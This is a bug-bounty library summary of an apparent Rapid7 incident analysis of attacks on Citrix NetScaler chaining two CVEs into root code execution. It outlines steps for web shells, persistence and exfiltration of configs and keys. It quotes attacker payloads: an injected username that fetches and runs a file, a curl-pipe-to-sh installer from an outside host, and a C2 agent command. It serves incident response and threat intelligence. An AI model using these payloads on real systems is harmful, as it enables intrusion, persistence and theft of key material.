# Rapid7 Analysis: NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779

Pre-auth log-poisoning RCE chained with SAML-parsing crash on Citrix NetScaler; crash-handler replayed injected username text as root after Pitboss reboot.

- Payout: Real-world hack
- Severity: critical
- Program: Citrix NetScaler
- Analysis by: Rapid7
- Disclosed: 2026-10-19
- CVE: CVE-2026-88771, CVE-2026-88779
- Write-up quality: 8/10
- Original: https://www.rapid7.com/blog/post/ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779
- Library page: https://bugbountylibrary.com/r/blog%3Arapid7-com-blog-post-ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779
- Tags: area:devices domain:infra domain:network impact:data-leak impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical technique:chained technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Citrix NetScaler ADC/Gateway appliance (nsaaad, Pitboss crash handler, SAML auth)
**Root cause:** Attacker-controlled text in an authentication username is retained and later processed by the NetScaler call-home crash handler, which executes it as root; the SAML-parsing flaw (CVE-2026-88779) supplies the crash/reboot that triggers the handler.
**Steps:**
1. Send an authentication request with a crafted username such as `pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v ...;sh${IFS}/v;#` (CVE-2026-88771 log poisoning).
2. Trigger the SAML-parsing crash (CVE-2026-88779) to cause repeated nsaaad crashes and a Pitboss reboot.
3. After reboot, the call-home crash handler processes the retained attacker text and executes the payload as root.
4. Drop `/nsconfig/.slap/` framework, web shells (`.slap.receiver`, `.ctxs.receiver`, `receiver.deb`) and Apache aliases mapping CSS-looking URLs to the shell.
5. Run `chmod 6555 /bin/sh` so the PHP web shell gains effective root.
6. Install persistence: cron, rc.netscaler, watchdog, reverse agent, Perl/Python tunnels, HA sync/failover.
7. Run Go scanner `vc` to map DNS, LDAP/AD, management services and vCenter; stage and exfiltrate `/nsconfig` configs and key material.
**How found:** Rapid7 incident response correlated independent logs and filesystem timestamps: injected command, nsaaad crash loop, Pitboss reboot, post-reboot handler activity and root payload execution all aligned, with first implant files created the same second as the first logged post-reboot execution.
**Exploitation:** Pre-auth username injection poisons logs; SAML crash forces reboot; crash handler replays injected command as root, yielding a persistent appliance-resident platform with web shells, setuid /bin/sh, outbound C2, internal TCP pivoting, HA-aware persistence, and exfiltration of NetScaler configs and SSL key material.
**Escalation:** Chained two distinct flaws (log-poisoning + SAML crash) to convert a pre-auth injection into root RCE; then used the ADC as a privileged pivot to map internal AD, management and vCenter infrastructure.
**Insight:** Crash-handling/call-home paths that persist and replay attacker-influenced log or username text are a delayed root-execution trampoline; pair a log-poisoning primitive with any crash/reboot trigger to skip the 24h wait and force immediate replay.

## Proof of concept (copied exactly from the original report)

**Injected auth username command payload**

```
pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v ...;sh${IFS}/v;#
```

**nsvmd installer curl pipe to sh**

```
curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=<token>|sh
```

**nsvmd agent launch command**

```
nsvmd -server v5v.in:443 -sni c.v5v.in
```

## Write-ups of the same bug (oldest first)
- 2026-09-28: [Oh Look, The Foot Gun Went Off Again (Citrix NetScaler PreAuth Command Injection CVE-2026-88771)](https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771) — Sina Kheirkhah
- 2026-09-30: [Threat Brief: NetScaler Zero Days CVE-2026-88771 and CVE-2026-88772 Exploited in the Wild (Updated September 30)](https://bugbountylibrary.com/r/blog%3Aunit42-paloaltonetworks-com-netscaler-zero-days-exploited) — Unit 42
- 2026-10-19: [Rapid7 Analysis: NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779](https://bugbountylibrary.com/r/blog%3Arapid7-com-blog-post-ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779) — Rapid7 (this one)